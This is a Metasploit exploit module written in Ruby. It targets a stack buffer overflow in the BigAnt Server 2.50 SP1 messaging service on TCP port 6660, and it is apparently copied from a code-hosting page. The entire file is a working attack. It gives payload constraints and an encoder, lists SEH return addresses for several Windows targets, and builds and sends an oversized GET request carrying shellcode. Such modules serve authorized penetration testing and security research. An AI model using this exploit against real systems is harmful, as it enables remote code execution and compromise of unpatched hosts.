77 lines
2.4 KiB
Ruby
77 lines
2.4 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BigAnt Server 2.50 SP1 Buffer Overflow',
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'Description' => %q{
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This exploits a stack buffer overflow in the BigAnt Messaging Service,
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part of the BigAnt Server product suite. This module was tested
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successfully against version 2.50 SP1.
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},
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'Author' => [ 'Dr_IDE <Dr_IDE[at]hushmail.com>' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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# It's not clear if these are correct - there was a fix for
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# the v2.2 vuln back in Dec 2008
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[ 'CVE', '2008-1914'],
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[ 'OSVDB', '44454'],
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[ 'EDB', '9673' ],
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[ 'EDB', '9690' ]
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#[ 'B_ID', '28795' ],
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#[ 'U_RL', 'http://www.milw0rm.com/exploits/5451'],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Payload' =>
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{
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'Space' => 710,
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'BadChars' => "\x00\x20\x0a\x0d",
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'StackAdjustment' => -3500,
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'BigAnt 2.5 Universal', { 'Ret' => 0x0f9a196a } ], # Tested OK (Dr_IDE & patrickw) p/p/r VBAJET32.dll xpsp3 & w2k
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[ 'Windows 2000 Pro All English', { 'Ret' => 0x75022ac4 } ], # p/p/r Tested OK (patrickw 20090918)
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[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], # Should Work
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Apr 15 2008'))
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register_options([Opt::RPORT(6660)], self.class)
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end
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def exploit
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connect
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sploit = "GET " + rand_text_alpha_upper(985) + generate_seh_payload(target.ret)
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sploit << rand_text_alpha_upper(1000 - payload.encoded.length)
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print_status("Trying target #{target.name}...")
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sock.put(sploit + "\r\n\r\n")
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handler
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disconnect
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end
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end
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